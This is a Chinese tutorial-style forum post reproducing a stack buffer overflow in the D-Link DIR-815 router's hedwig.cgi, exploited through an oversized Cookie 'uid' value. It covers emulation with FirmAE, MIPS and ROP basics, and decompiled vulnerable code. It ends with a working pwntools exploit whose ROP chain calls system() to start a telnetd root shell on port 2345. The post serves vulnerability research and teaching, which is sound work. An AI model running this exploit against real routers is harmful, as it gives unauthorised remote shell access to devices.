IOT安全的入门经典——DIR-815漏洞复现
Falling_Dusk 发表于 四川 技术文章 369浏览 · 2024-11-26 02:04

前置条件:

工具:

建议Ubuntu18.04及以上且是纯净版本

个人版本是Ubuntu20.041.

binwalk

sudo apt install binawlk

firmware-mod-kit

安装之前得先安装环境

Ubuntu18.04及前

sudo apt-get install git build-essential zlib1g-dev liblzma-dev python-magic autoconf

Ubuntu20.04及后

sudo apt-get install git build-essential zlib1g-dev liblzma-dev python3-magic autoconf python-is-python3

环境配好后就可以安装firmware-mod-kit了

git clone https://github.com/rampageX/firmware-mod-kit.git

FirmAE

强烈建议拉项目前存个快照

拉项目

git clone --recursive https://github.com/pr0v3rbs/FirmAE

之后进入文件夹依次执行以下三个sh文件

sudo ./download.sh
sudo ./install.sh
sudo ./init.sh

常见问题

download.sh

download里的网站基本全在海外,所以常常出现没法全部拉下来的场面

我的建议是,要么走代理

要么就把sh文件里的网站复制下来在宿主机里的浏览器中下载,也就是亲力亲为一个个下,再复制粘贴到binaries

install.sh

跑之前给点建议:

1.如果你有qemu环境,就注释掉sh里的以下代码,否则很有可能将你的qemu环境弄得一团糟

sudo apt-get install -y qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils

2.网络问题是典中典,建议走代理

3.这玩意会给你安一个postgresql,小心环境紊乱

sudo apt install -y postgresql

综上:

​ 如果你执行完它再重启Ubuntu后,失去了图形化界面,那就是没救了,回快照吧,环境崩了

使用仿真常见小问题

target is busy.

这玩意基本就是因为没有正常退出仿真导致的

查看挂载点

命令:mount | grep pathto/FirmAE/scratch/targetID/image

删掉挂载点

命令:sudo umount -f pathto/FirmAE/scratch/targetID/image

​ or sudo umount --lazy pathto/FirmAE/scratch/1/image(可以两个指令联用)

有时候这玩意会抽风,得尝试好几次,不知道啥原因

Address already in use

成因同上

删除占用端口

命令:先查看sudo lsof -i -P -n | grep LISTEN

​ 后删除sudo kill -9 <PID>

IDA的mipsrop插件

旧一点的IDAPython的版本一般是python2版本,并且mipsrop.py脚本也是按照python2格式来写的,这就导致你如果IDAPython的版本高于3,就会有mipsrop.py脚本不适配,得一个个修改,甚至修改了还是运行不了,还好网上有大佬已经弄好适配python3版本的mipsrop.py了,但我自己搜的时候弄的好痛苦,基本都是介绍python2 的版本,很麻烦,所以我把该链接分享出来,我也放附件里了

[求助]IDA 无法安装mipsrop插件-求助问答-看雪-安全社区|安全招聘|kanxue.com

需要下载的zip包就在评论区里,往下滑很快的,经本人亲自尝试,可支持IDA8.3甚至是IDAPro9.0

解压后直接把以下文件丢到IDA根目录下的plugins即可

常见问题:NameError: name 'mipsrop' is not defined

解决方法

import mipsrop
mipsrop = mipsrop.MIPSROPFinder()

常使用模块

寻找特定gadget

mipsrop.find("the asm you want to search")

主要针对栈相关的gadget
mipsrop.stackfinders()

知识点:

基础溢出

有点Pwn基础的上手会很快,简单解释下什么是溢出。一般都是由于缓冲区溢出等原因导致攻击者能够控制程序执行流,来执行恶意代码,达到攻击目的。在这就是对路由器进行挟持了。

常见的攻击方式有ShellcodeROP

Shellcode

Shellcode的本质是机械码,攻击者通过精心构建的Shellcode,来执行恶意代码,最终达到攻击目的。一般的Shellcode由汇编辅助编写而成,所以常见的都是用汇编写Shellcode

ROP

ROP即返回导向编程。通过利用程序中各种细碎的代码段(也称为gadgetpop | ret)串成一段恶意代码,这段恶意代码有着控制寄存器、系统调用等功能,通过溢出劫持返回地址执行这段代码,达到攻击目的

HTTP协议

有web基础基本就可以跳了,简要介绍下

HTTP(即HyperText Transfer Protocol)是一种超文本传输协议,是Web上进行任何数据交换的基础,也是一种客户端-服务器协议.

它由请求和响应组成,而请求的各个部分分别是请求行、消息报头、请求正文

请求行

Method Request-URI HTTP-Version CRLF

消息报头

包含若干字段,通常以 key: value 的格式表示,如

Content-Length: 348
Content-Type: application/x-www-form-urlencoded
请求正文

HTTP请求正文是请求消息中可选的部分,通常用于在 POSTPUT 或其他需要传递数据的请求中,携带客户端向服务器发送的数据。它是位于请求头之后的实际数据内容。可由多种数据组成,如表单、二进制、JSON等,如

POST /api/v1/user HTTP/1.1
Host: api.example.com
Content-Type: application/json
Content-Length: 55

{
  "username": "admin",
  "password": "12345",
  "remember_me": true
}

Content-Type来判断请求正文的格式,JSON格式的内容则是请求正文

MIPS架构

寄存器

zero -> 值始终为0
$at -> 保留给汇编器
$v0-$v1 -> 保存表达式返回结果
$a0-$v3 -> 函数参数,类比rdi,rsi...的顺序,超过4个则用堆栈传递
$t0-t9 -> 临时寄存器,其中t8,t9是扩展,且t9常用来调用函数
$s0-$s7 -> 保存寄存器,保存一些函数调用时必要的值
$k0-$k1 -> 留给系统中断处理的时候使用
$gp -> 全局指针
$sp -> 堆栈指针,类比rsp
$fp -> 栈帧指针
$ra -> 返回地址,类比ret

基础汇编

LOAD和STORE
l==>LOAD
s==>STORE
不同的后缀代表不同的数据大小
w==>word
h==>half
b==>byte
u==>unsigned
i==>immediate
指令格式
R型

opcode | first source res | second source res | destination res | offset | funct(这个参数不用了解,毕竟我们看的常常是汇编)

I型

opcode | source res | destination res | addr_offset

J型

opcode | target_addr

常见汇编
add
jr==jmp,常跟ra
jalr,效果近似于jmp,后边常跟t9调用函数

流水线指令集特性之一:分支延迟效应

流水线效应最常见的就是跳转指令(如jalr)导致的分支延迟效应,当它跳转指令填充好跳转地址但尚未跳转过去时,它会优先执行该跳转指令的下一条指令,如

jalr    $t9
addiu   $s0, 1

在还未跳转到t9时,会执行addiu汇编,然后再进行跳转,可以理解为同时执行了两条指令

硬件下载地址:

https://legacyfiles.us.dlink.com/DIR-815/REVA/FIRMWARE/

漏洞成因:

Cookie头hedwig.cgi远程缓冲区溢出

漏洞分析:

我们先从固件包下手

binwalk -Me DIR-815-FW-1.01b14_1.01b14.bin

获得以下文件

根据漏洞报告里说与hedwig.cgiCookie有关,我们从固件里提取出相关二进制文件,并就着Cookie进行寻找

sess_get_uid函数里发现了利用,我们先在交叉引用中寻找与漏洞名有关的函数 发现在hedwigcgi_main函数中进行了调用,进入该函数看看做了什么

int hedwigcgi_main()
{
  char *v0; // $v0
  const char *v1; // $a1
  FILE *v2; // $s0
  int v3; // $fp
  int v4; // $s5
  int v5; // $v0
  const char *string; // $v0
  FILE *v7; // $s2
  int v8; // $v0
  int v9; // $s7
  int v10; // $v0
  char **v11; // $s1
  int i; // $s3
  char *v13; // $v0
  const char **v14; // $s1
  int v15; // $s0
  char *v16; // $v0
  const char **v17; // $s1
  int v18; // $s0
  int v19; // $v0
  const char *v20; // $v0
  char v22[20]; // [sp+18h] [-4A8h] BYREF
  char *v23; // [sp+2Ch] [-494h] BYREF
  char *v24; // [sp+30h] [-490h]
  _DWORD v25[3]; // [sp+34h] [-48Ch] BYREF
  char v26[128]; // [sp+40h] [-480h] BYREF
  char v27[1024]; // [sp+C0h] [-400h] BYREF

  memset(v27, 0, sizeof(v27));
  memset(v26, 0, sizeof(v26));
  strcpy(v22, "/runtime/session");
  v0 = getenv("REQUEST_METHOD");
  if ( !v0 )
  {
    v1 = "no REQUEST";
LABEL_7:
    v3 = 0;
    v4 = 0;
LABEL_34:
    v9 = -1;
    goto LABEL_25;
  }
  if ( strcasecmp(v0, "POST") )
  {
    v1 = "unsupported HTTP request";
    goto LABEL_7;
  }
  cgibin_parse_request(sub_409A6C, 0, 0x20000);
  v2 = fopen("/etc/config/image_sign", "r");
  if ( !fgets(v26, 128, v2) )
  {
    v1 = "unable to read signature!";
    goto LABEL_7;
  }
  fclose(v2);
  cgibin_reatwhite(v26);
  v4 = sobj_new();
  v5 = sobj_new();
  v3 = v5;
  if ( !v4 || !v5 )
  {
    v1 = "unable to allocate string object";
    goto LABEL_34;
  }
  sess_get_uid(v4);
  string = (const char *)sobj_get_string(v4);
  sprintf(v27, "%s/%s/postxml", "/runtime/session", string);
  xmldbc_del(0, 0, v27);
  v7 = fopen("/var/tmp/temp.xml", "w");
  if ( !v7 )
  {
    v1 = "unable to open temp file.";
    goto LABEL_34;
  }
  if ( !haystack )
  {
    v1 = "no xml data.";
    goto LABEL_34;
  }
  v8 = fileno(v7);
  v9 = lockf(v8, 3, 0);
  if ( v9 < 0 )
  {
    printf(
      "HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>BUSY</result><message>%s</message></hedwig>",
      0);
    v9 = 0;
    goto LABEL_26;
  }
  v10 = fileno(v7);
  lockf(v10, 1, 0);
  v23 = v26;
  v24 = 0;
  memset(v25, 0, sizeof(v25));
  v24 = strtok(v22, "/");
  v11 = (char **)v25;
  for ( i = 2; ; ++i )
  {
    v13 = strtok(0, "/");
    *v11++ = v13;
    if ( !v13 )
      break;
  }
  (&v23)[i] = (char *)sobj_get_string(v4);
  fputs("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n", v7);
  v14 = (const char **)&v23;
  v15 = 0;
  do
  {
    ++v15;
    fprintf(v7, "<%s>\n", *v14++);
  }
  while ( v15 < i + 1 );
  v16 = strstr(haystack, "<postxml>");
  fprintf(v7, "%s\n", v16);
  v17 = (const char **)&(&v23)[i];
  v18 = i + 1;
  do
  {
    --v18;
    fprintf(v7, "</%s>\n", *v17--);
  }
  while ( v18 > 0 );
  fflush(v7);
  xmldbc_read(0, 2, "/var/tmp/temp.xml");
  v19 = fileno(v7);
  lockf(v19, 0, 0);
  fclose(v7);
  remove("/var/tmp/temp.xml");
  v20 = (const char *)sobj_get_string(v4);
  sprintf(v27, "/htdocs/webinc/fatlady.php\nprefix=%s/%s", "/runtime/session", v20);
  xmldbc_ephp(0, 0, v27, stdout);
  if ( v9 )
  {
    v1 = 0;
LABEL_25:
    printf(
      "HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>FAILED</result><message>%s</message></hedwig>",
      v1);
  }
LABEL_26:
  if ( haystack )
    free(haystack);
  if ( v3 )
    sobj_del(v3);
  if ( v4 )
    sobj_del(v4);
  return v9;
}

可以很明显看到漏洞点

sess_get_uid(v4);
  string = (const char *)sobj_get_string(v4);
  sprintf(v27, "%s/%s/postxml", "/runtime/session", string);

string过大会导致栈溢出,而string由sobj_get_string这个函数提取v4的字符串所得,v4又由sess_get_uid进行了操作,那我们就要详细分析sess_get_uid

int __fastcall sess_get_uid(int a1)
{
  int v2; // $s2
  char *v3; // $v0
  int v4; // $s3
  char *v5; // $s4
  int v6; // $s1
  int v7; // $s0
  char *string; // $v0
  int result; // $v0

  v2 = sobj_new();
  v4 = sobj_new();
  v3 = getenv("HTTP_COOKIE");
  if ( !v2 )
    goto LABEL_27;
  if ( !v4 )
    goto LABEL_27;
  v5 = v3;
  if ( !v3 )
    goto LABEL_27;
  v6 = 0;
  while ( 1 )
  {
    v7 = *v5;
    if ( !*v5 )
      break;
    if ( v6 == 1 )
      goto LABEL_11;
    if ( v6 < 2 )
    {
      if ( v7 == 32 )
        goto LABEL_18;
      sobj_free(v2);
      sobj_free(v4);
LABEL_11:
      if ( v7 == 59 )
      {
        v6 = 0;
      }
      else
      {
        v6 = 2;
        if ( v7 != 61 )
        {
          sobj_add_char(v2, v7);
          v6 = 1;
        }
      }
      goto LABEL_18;
    }
    if ( v6 == 2 )
    {
      if ( v7 == 59 )
      {
        v6 = 3;
        goto LABEL_18;
      }
      sobj_add_char(v4, *v5++);
    }
    else
    {
      v6 = 0;
      if ( !sobj_strcmp(v2, "uid") )
        goto LABEL_21;
LABEL_18:
      ++v5;
    }
  }
  if ( !sobj_strcmp(v2, "uid") )
  {
LABEL_21:
    string = (char *)sobj_get_string(v4);
    goto LABEL_22;
  }
LABEL_27:
  string = getenv("REMOTE_ADDR");
LABEL_22:
  result = sobj_add_string(a1, string);
  if ( v2 )
    result = sobj_del(v2);
  if ( v4 )
    return sobj_del(v4);
  return result;
}

总结就是该函数经过了一系列操作中,从 HTTP 请求的 Cookie 中解析键为 "uid" 的值,并将其存储到目标对象v4中,如果没有找到 "uid",则使用客户端的 IP 地址作为默认值,所以payload的格式很好确定

'Cookie':'uid='+ payload

动态调试

启动仿真

path_to_FirmAE/run.sh <mode> <brand> path/to/firmware

mode是模式,brand是品牌,比如我是这样的

./run.sh -d dlink /home/dusk/firmware/DIR-815_REVA_FIRMWARE_v1.01/dir815_FW_101/DIR-815-FW-1.01b14_1.01b14.bin

等待一会儿后就会出现如下界面

我们先输入2,输入指令,获取服务进程

ps | grep "httpd"

其中2675就是我们的进程

我们再ctrl D并输入4起gdbserver,输入pid即可

为了方便我们调试gdbserver,要关闭地址随机化(实际上的固件的地址也是不随机的)

echo "0" >> /proc/sys/kernel/randomize_va_space

因为在gdb-muliarch调试远端gdbserver的时候是没有libc模块的,所以得在qemu里获取libc_base

cat /proc/server_pid/maps

测试溢出大小

需要用到pwntools,gdbserver,gdb-multiarch,FirmAE

在动调前我们需要写好两个脚本

第一个:建立预POST脚本

from pwn import *
import requests
context(os = 'linux', arch = 'mips', log_level = 'debug')

url = "http://192.168.0.1/hedwig.cgi"
headers = {
    "Cookie"        : b"uid=" + payload,
    "Content-Type"  : "application/x-www-form-urlencoded", #表单提交的默认编码方式,用于发送键值对形式的数据以URL编码的方式发送,键值对用&连接,键和值用=分隔
    "Content-Length": "11",
    "REQUEST_METHOD":"POST",
    "REQUEST_URI"   :"/hedwig.cgi",
}
res = requests.post(url = url, headers = headers)

第二个:gdb-multiarch脚本,可以随意命名

set architecture mips #设置架构
set follow-fork-mode child #指定被调的程序执行fork()系统调用时跟进子进程。若为parent,则继续跟踪父进程,忽视子进程
set detach-on-fork off #设置fork分离模式,off为不自动将未被跟踪的进程(父进程或子进程)从调试会话中分离
b *0x409A30 #下断点
target remote 192.168.0.1:1337 #链接远端

命名好后启动如下命令即可开始调试

gdb-multiarch -x filename

好了,现在我们就可以尝试寻找溢出点了。我们用pwntools里提供的cyclic函数来定位溢出点

可以得到offset大约为1043(注意,是大约,并不一定完全准确,还需要自己微调),我们再调一次看看结果如何

cyclic(1043) + b'dusk'

很好的结果,与测定结果相同,此时我们就已经劫持ra跳转地址了,那么我们还需要一些gadget辅助我们进行system函数调用

gadget思路

需要注意的是,sprintf\x00截断,而system函数恰好以\x00结尾,这时候就需要用到我们的流水线效应了

我们可以让system-1,然后找一个跳转指令并且紧跟着add res,1的指令就可以使我们的system函数恢复,光回复不够,我们还需要调用,所以我们还得找一个gadget来使存储system函数的某s寄存器被赋值给t9然后通过jalr调用即可,所幸我们能在libc里找到,相对偏移如下

0x000159cc : addiu $s5, $sp, 0x10 ; move $a1, $s3 ; move $a2, $s1 ; move $t9, $s0 ; jalr $t9 ; move $a0, $s5
0x000158c8 : move $t9, $s5 ; jalr $t9 ; addiu $s0, $s0, 1

然后就是精心构造payload和需要执行的命令了

exp

from pwn import *
import requests
context(os = 'linux', arch = 'mips', log_level = 'debug')

libc_base = 0x77f34000
move_jalr = 0x159CC + libc_base
addiu_jalr = 0x158C8 + libc_base
system = 0x53200 + libc_base
payload = cyclic(1007)
payload += p32(system - 1) #$s0
payload += b'a'*0x10
payload += p32(move_jalr) #$s5
payload += b'b' * 0xc
payload += p32(addiu_jalr)
payload += b'c' * 0x10
payload += b'telnetd -l /bin/sh -p 2345 & ls & ' #起一个telnetd服务,监听端口为2345,并提供交互shell,

url = "http://192.168.0.1/hedwig.cgi"
headers = {
    "Cookie"        : b"uid=" + payload,
    "Content-Type"  : "application/x-www-form-urlencoded",
    "Content-Length": "11",
    "REQUEST_METHOD":"POST",
    "REQUEST_URI"   :"/hedwig.cgi",
}
res = requests.post(url = url, headers = headers)

执行效果如下

完成复现

附件:
0 条评论
某人
表情
可输入 255